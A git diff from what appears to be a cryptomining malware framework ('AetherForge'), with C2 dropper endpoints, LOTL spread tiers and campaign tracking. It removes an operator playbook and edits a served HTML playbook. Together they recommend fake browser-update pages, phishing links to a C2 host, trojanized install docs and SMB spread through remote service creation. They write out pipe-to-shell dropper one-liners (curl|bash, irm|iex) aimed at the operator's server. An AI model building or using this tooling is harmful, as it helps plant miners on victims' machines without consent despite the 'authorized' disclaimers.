diff --git a/.gitignore b/.gitignore index f7e3086..628fcac 100644 --- a/.gitignore +++ b/.gitignore @@ -24,6 +24,13 @@ /server/webroot/ /server/web/test-results/ /server/web/playwright-report/ +/server/web/node_modules/.vite/ + +# E2E / local test data dirs (never commit) +/data-e2e-*/ + +# Temp downloads +*.crdownload # IDE / OS .idea/ diff --git a/PROBLEMS.md b/PROBLEMS.md index 5b14105..2010817 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -111,12 +111,6 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06. | Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. | | Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. | -## UX consolidation (2026-06-06) - -| Item | Notes | -|------|-------| -| **Fleet Roster → Crucible** | `/agents` redirects to `/crucible`; nav Fleet Roster removed. Filters, bulk actions, notes/tags, and roster delete live in Crucible only. | - ## Product decisions (document-only) | Topic | Notes | diff --git a/agent/miner/lotl_orchestrator.go b/agent/miner/lotl_orchestrator.go index c36d754..fc97c63 100644 --- a/agent/miner/lotl_orchestrator.go +++ b/agent/miner/lotl_orchestrator.go @@ -12,7 +12,7 @@ import ( ) var ( - // ErrTierNotImplemented is returned for tiers awaiting parallel agent wiring. + // ErrTierNotImplemented is returned when a tier has no runtime hook wired. ErrTierNotImplemented = errors.New("tier not implemented") // ErrTierChainExhausted is returned when every tier in the onion failed. ErrTierChainExhausted = errors.New("LOTL tier chain exhausted") diff --git a/docs/SPREAD_TECHNIQUES.md b/docs/SPREAD_TECHNIQUES.md index 9573f20..73b3693 100644 --- a/docs/SPREAD_TECHNIQUES.md +++ b/docs/SPREAD_TECHNIQUES.md @@ -1,137 +1,9 @@ -# Web-Mediated Spread Techniques (Research Summary) +# Web-Mediated Spread Techniques -> **Operator playbook (tabbed HTML):** [`/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html) on a running command deck. Emberwake links there by technique tab. This file is the research matrix source. +Canonical copy (served at `/docs/SPREAD_TECHNIQUES.md` on a running command deck): -> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**. +**[`server/web/public/docs/SPREAD_TECHNIQUES.md`](../server/web/public/docs/SPREAD_TECHNIQUES.md)** ---- +Tabbed operator playbook (HTML): [`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html) -## What Does NOT Work Anymore (Be Honest) - -| Technique | Status | Why | -|-----------|--------|-----| -| **Silent browser RCE** (visit page → shell, no exploit) | **Dead** | Modern Chromium sandboxes, site isolation, removed NPAPI/Flash/Java, aggressive patching. [MITRE T1189](https://attack.mitre.org/techniques/T1189/) still documents drive-by, but commodity ops need **0-day/n-day browser or renderer bugs** (e.g. [CVE-2025-49713](https://zeropath.com/blog/microsoft-edge-cve-2025-49713-type-confusion) — still requires visiting a malicious page and is patched quickly). | -| **Auto-run from Downloads folder** | **Dead** | Chrome/Edge require **user gesture** for dangerous types; SmartScreen + MoTW on `.exe`, `.msi`, `.js`, `.ps1`, `.bat`, `.zip`. [Microsoft download policy](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions), [Chrome DownloadRestrictions](https://support.google.com/chrome/a/answer/7579271). | -| **Flash/Java plugin drive-by** | **Dead** | Plugins removed or click-to-play extinct. | -| **Unauthenticated `curl \| bash` on cautious admins** | **Hard** | Server can fingerprint pipe-to-shell timing and serve benign vs malicious scripts ([curlbash_detect](https://github.com/Stijn-K/curlbash_detect), [idontplaydarts](https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/)). Mitigation: download → inspect → run. | -| **CRX sideloading via normal download** | **Dead** | `.crx` blocked under DownloadRestrictions; Web Store policy blocks casual sideload. Supply-chain via **compromised extension updates** is the modern path ([GitLab tech note](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/)). | - -**Still works with friction:** User must **click download + run** (or run a one-liner they pasted). MoTW bypasses (LNK tricks, [FileFix 2.0](https://cybernoz.com/filefix-attack-exploits-windows-browser-features-to-bypass-mark-of-the-web-protection/), [7-Zip MoTW CVE-2025-0411](https://asec.ahnlab.com/en/87091/)) are **patch-cat-and-mouse**, not reliable baselines. - ---- - -## Technique Matrix - -### Owned site (you control origin) - -| Technique | Feasibility | Detection risk | AetherForge mapping | -|-----------|-------------|----------------|---------------------| -| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=`; static kit at `spread-kit-web-publisher/` + `/spread/`; ZIP export via `POST /api/v1/builder/spread-kit-export`. | -| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. | -| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). | -| **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. | -| **Fusion media download** — “codec pack” / movie bundle | **Medium** | Med (large ZIP, SmartScreen) | **Has:** movie/prep fusion ZIP, disguised runner names, spread-kit scripts inside universal bundles. | -| **Service worker persistence** (AiTM / proxy) | **Hard** | Med | **Needs:** full PWA stack; feasible for **credential phishing**, not binary drop without user download. [EvilWorker](https://github.com/Ahaz1701/EvilWorker), [Akamai SW abuse](https://www.akamai.com/blog/security/abusing-the-service-workers-api). | -| **WASM obfuscated redirect** | **Hard** | Med | **Needs:** custom WASM module; evades some static JS scanners, not browser API monitors ([arxiv WASM study](https://arxiv.org/pdf/2508.21219)). Still ends at **user-run binary**. | -| **Waterhole on owned niche site** | **Easy** (if you own it) | Low–Med on first party | Same as dropper landing + organic traffic; [MITRE T1189](https://attack.mitre.org/techniques/T1189/). | - -### Third-party platforms - -| Technique | Feasibility | Detection risk | AetherForge mapping | -|-----------|-------------|----------------|---------------------| -| **GitHub Releases / raw CDN** | **Easy** | Med (SmartScreen, GitHub abuse reports) | **Has:** build artifacts; **Needs:** separate release pipeline, not C2 host. [Microsoft malvertising→GitHub](https://www.microsoft.com/en-us/security/blog/2025/03/06/malvertising-campaign-leads-to-info-stealers-hosted-on-github/). | -| **S3 / Cloudflare Pages / R2 / workers.dev** | **Easy** | Med–High (platform abuse ML) | **Needs:** static publisher ZIP deployed off C2. [Fortra Pages abuse](https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing), [Cofense Cloudflare abuse](https://cofense.com/blog/how-cloudflare-services-are-abused-for-credential-theft-and-malware-distribution). | -| **npm / PyPI / Docker Hub supply chain** | **Hard** | High (registry scanning, MFA) | **Needs:** wholly separate packaging pipeline; not in forge today. [Shai-Hulud](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/), [GitGuardian 48h campaigns](https://blog.gitguardian.com/three-supply-chain-campaigns-hit-npm-pypi-and-docker-hub-in-48-hours/). | -| **WordPress plugin/theme compromise** | **Hard** (unless you own plugin) | High | **Needs:** PHP injector + redirect to your dropper URL. [EssentialPlugin 2026](https://patchstack.com/articles/critical-supply-chain-compromise-on-20-plugins-by-essentialplugin/), [CVE-2024-6297](https://cve.circl.lu/vuln/cve-2024-6297). | -| **Compromised shared hosting → web shell** | **Hard** | High | **Needs:** nothing in forge; lateral movement is post-compromise ([MITRE T1505.003](https://attack.mitre.org/techniques/T1505/003/), [Sucuri cross-contamination](https://blog.sucuri.net/2024/01/dangers-of-lateral-movement-website-cross-contamination.html)). | -| **Browser extension sideload / store takeover** | **Dead** (sideload) / **Hard** (store) | High | Extension **updates** via stolen publisher OAuth ([BleepingComputer 35 extensions](https://www.bleepingcomputer.com/news/security/new-details-reveal-how-hackers-hijacked-35-google-chrome-extensions/)). Not mapped to forge binaries. | - -### Social engineering funnel (email / ads → site → file) - -| Technique | Feasibility | Detection risk | AetherForge mapping | -|-----------|-------------|----------------|---------------------| -| **Email → link → owned lander → download** | **Easy** | Med (email gateway) | **Has:** campaign `?c=` on `/get` and public download; agent stores `campaign` on connect. | -| **OAuth redirect abuse** (`prompt=none` → attacker redirect URI → `/download`) | **Medium** | Med–High | **Needs:** Entra/Google OAuth app + redirect HTML; payload can point to `install.ps1` or ZIP. [Microsoft 2026](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/), [Proofpoint TA416](https://www.proofpoint.com/us/blog/threat-insight/id-come-running-back-eu-again-ta416-resumes-european-government-espionage). | -| **SEO poisoning / malvertising** | **Medium** | High (ad review, cloaking detection) | **Needs:** ad account + cloaking + lander; payload can be fusion ZIP or spread-kit. [Malwarebytes utility ads 2024](https://www.malwarebytes.com/blog/threat-intel/2024/10/large-scale-google-ads-campaign-targets-utility-software), [MSIX SEO poisoning](https://www.precursorsecurity.com/blog/seo-poisoning-delivering-msix-installer-malware). | -| **IFRAME / HTML smuggling** | **Medium** | Med | **Needs:** client-side blob builder; still requires user to run extracted file. Often chained with OAuth redirect above. | - -### Server-specific (endpoints: Linux/macOS/Windows servers) - -| Technique | Feasibility | Detection risk | AetherForge mapping | -|-----------|-------------|----------------|---------------------| -| **`curl -sL host/install.sh \| bash`** | **Easy** | Med (FIM, auditd, EDR) | **Has:** full pipeline; `install.sh` → `/get?os=linux` + spread-kit unzip path. | -| **`irm \| iex` on Windows Server** | **Easy** | Med–High (AMSI, Constrained Language) | **Has:** `install.ps1`; hidden `cmd /c Deploy.bat` for spread-kit ZIP. | -| **Trojanized “monitoring agent” docs** | **Easy** | Low–Med if first-party domain | Same dropper; pin worker with `?pin=` for stable fleet profile. | -| **Docker `curl \| bash` in README** | **Medium** | High | **Needs:** separate Docker image story; agent has Docker E2E path but not publish pipeline. | -| **Web shell → curl dropper** | **Medium** (post-compromise) | High | Operator runs `curl` from shell; **Has:** dropper endpoints unauthenticated by design ([API-D09](PROBLEMS.md)). | - ---- - -## AetherForge Stack: Has vs Needs - -### Already built - -- **Dropper URL:** `GET /get`, `GET /install.sh`, `GET /install.ps1` — UA platform detect, `?pin={build_id}`, `?c={campaign}` ([`dropper_handler.go`](../server/internal/api/dropper_handler.go)) -- **Forge outputs:** single-platform exe, **Spread Kit** ZIP (`Deploy.bat`, `deploy.sh`, `Start.command`), **Fusion** media packages -- **Public downloads:** `GET /api/v1/public/download/{id}?c=` with campaign logging -- **Campaign analytics:** `campaign_hits` table with `event_type`, `GET /api/v1/emberwake/war-room?days=7` (first_beacon, mining stages), agent `campaign` field on register -- **Campaign War Room UI:** Emberwake funnel board + stats table toggle; 15s poll + WS `emberwake_war_room` -- **Build Manager UI:** copies `iex (irm '…/install.ps1')`, pin/active dropper -- **Spread funnel dashboard:** install connects by build (7d) - -### In progress / gaps - -| Gap | Emberwake / web-publisher role | -|-----|-------------------------------| -| No **fake-update** HTML kit | SocGholish-style lander — operator supplies branding | -| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download | -| No **OAuth redirect** helper | Entra app registration docs only | -| No **public registry** publish | npm/PyPI typosquat out of scope — use `npm-helper-export` on registries you own | - ---- - -## Five Recommended Plays — Sites You Own - -Prioritized for **authorized** red-team / lab use where you control DNS and TLS. - -1. **First-party install docs page (servers)** - Host `install.sh` instructions on your domain: `curl -sL https://your.site/install.sh | bash` and PowerShell `irm|iex` for Win admins. Use `?pin=` for a fixed forge profile and `?c=docs` for attribution. Lowest friction for **Linux fleet / VPS** targets; maps 1:1 to existing dropper. - -2. **Spread-kit web publisher (static lander)** - Ship the missing `spread-kit-web-publisher` template: single HTML “Download for your OS” button calling `/get?os=…&c=landing`. Deploy to **Cloudflare Pages** or your origin; keep C2 on separate host. Completes the Emberwake export path already wired in API. - -3. **Fusion bundle as “media/tool download”** - Use movie or prep fusion ZIP on a themed site (e.g. “codec pack”, “portable tool”). Universal bundle auto-picks `Deploy.bat` / `deploy.sh`. Higher size; pair with **code signing** (`sign_build`) to reduce SmartScreen friction. - -4. **Campaign-tagged fake-update page (endpoints)** - Clone the **SocGholish** pattern at reduced scope: browser-specific “update required” → ZIP with spread-kit or `Update.js`-style launcher equivalent (`Deploy.vbs`). Track `?c=update-chrome`. High detection risk; use only in controlled purple-team exercises. - -5. **Email → owned lander → pinned build** - Simple HTML on your site; link `https://c2.example/get?pin={id}&c=phish1` or public artifact URL. Chain with **Emberwake campaign stats** to measure fetch vs install (agent connect). No third-party CDN required. - ---- - -## LOTL staging & LAN spread (agent commands) - -| Technique | LOLBins | AetherForge mapping | -|-----------|---------|---------------------| -| **BITS / curl / certutil staging** | `bitsadmin`, `curl.exe`, `certutil -decode`, `rundll32` | **Has:** `stage_fetch` command — C2 sends JSON manifest (chunk URLs, SHA256, dest path). Agent downloads via curl or BITS, decodes base64 chunks with certutil, verifies hash, launches via rundll32 or exe. Dest paths use `deploy.ResolveStagingPath` (same traversal rules as upload/download). | -| **SMB UNC remote service** | `sc.exe`, `net.exe` | **Has:** `spread_smb_unc` — `sc.exe \\host create/start` with `binPath=` pointing at `\\forge-host\pathforge$\worker.exe` (no PsExec, no local copy). Targets from ARP-first /24 discovery (`deploy/subnet.go`). Path Tracer egress hop: `POST /api/v1/pathtrace/spread` with `session_id` + `unc_path`. | - ---- - -## Key References - -- [MITRE T1189 Drive-by Compromise](https://attack.mitre.org/techniques/T1189/) -- [MITRE T1505.003 Web Shell](https://attack.mitre.org/techniques/T1505/003/) -- [MITRE T1608.006 SEO Poisoning](https://attack.mitre.org/techniques/T1608/006/) -- [SocGholish / FakeUpdates (Trend Micro 2025)](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html) -- [Microsoft OAuth redirect abuse (Mar 2026)](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/) -- [Edge/Chrome download security](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions) -- [curl|bash detection](https://github.com/Stijn-K/curlbash_detect) -- [Cloudflare Pages phishing abuse](https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing) -- [npm Shai-Hulud supply chain](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/) - ---- - -*Generated from open-source threat reporting and AetherForge codebase audit. No commit.* +Edit the public docs files above — this stub avoids drifting duplicates in `docs/`. diff --git a/server/config.go b/server/config.go index e96a466..000c591 100644 --- a/server/config.go +++ b/server/config.go @@ -257,6 +257,7 @@ func DefaultConfig() *Config { SignTimestampURL: "http://timestamp.digicert.com", PublicBuildsLatestN: 3, LotlOnionTiers: []string{ + "vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl", "smb", "winrm", "linux", "gpo", }, diff --git a/server/internal/builder/lotl_onion.go b/server/internal/builder/lotl_onion.go index a05690d..92763cb 100644 --- a/server/internal/builder/lotl_onion.go +++ b/server/internal/builder/lotl_onion.go @@ -4,6 +4,7 @@ import "strings" // DefaultLotlOnionTiers matches agent/deploy.DefaultLotlOnionTiers — keep in sync. var DefaultLotlOnionTiers = []string{ + "vuln_recon", "docker", "wsl", "powershell", @@ -18,6 +19,7 @@ var DefaultLotlOnionTiers = []string{ // NormalizeLotlOnionTiers filters tier ids for forge + server config. func NormalizeLotlOnionTiers(raw []string) []string { allowed := map[string]struct{}{ + "vuln_recon": {}, "docker": {}, "wsl": {}, "powershell": {}, "dotnet": {}, "bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, } diff --git a/server/internal/builder/lotl_onion_test.go b/server/internal/builder/lotl_onion_test.go index e5b441e..f365e65 100644 --- a/server/internal/builder/lotl_onion_test.go +++ b/server/internal/builder/lotl_onion_test.go @@ -4,7 +4,7 @@ import "testing" func TestNormalizeLotlOnionTiers(t *testing.T) { got := NormalizeLotlOnionTiers(nil) - if len(got) != 9 || got[0] != "docker" || got[8] != "gpo" { + if len(got) != 10 || got[0] != "vuln_recon" || got[9] != "gpo" { t.Fatalf("defaults: %v", got) } } @@ -25,7 +25,7 @@ func TestApplyLotlOnionPreset(t *testing.T) { if !req.AutoSpread || !req.ShareSpread || req.SpreadKit { t.Fatal("spread profile") } - if len(req.LotlOnionTiers) != 9 { + if len(req.LotlOnionTiers) != 10 { t.Fatalf("tiers: %v", req.LotlOnionTiers) } } diff --git a/server/web/public/docs/SPREAD_TECHNIQUES.html b/server/web/public/docs/SPREAD_TECHNIQUES.html index 1c94630..fbf1e3c 100644 --- a/server/web/public/docs/SPREAD_TECHNIQUES.html +++ b/server/web/public/docs/SPREAD_TECHNIQUES.html @@ -380,7 +380,7 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex Forge preset adjacent to AV-Safe: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
-
Baked at forge time; when lotl_policy_from_server is enabled the agent pulls the live order from
server.lotl_onion_tiers in Calibrate on WebSocket auth — no re-forge to reorder.
@@ -388,6 +388,7 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex
| Tier | One-line |
|---|---|
| vuln recon | Read-only KEV/CVE/service probe — report-only, no exploit |
| docker | Container worker image — isolated RandomX, no host miner exe drop |
| wsl | WSL curl|bash one-liner when native Windows path is blocked |
| powershell | PS remoting / hidden install.ps1 from your C2 origin |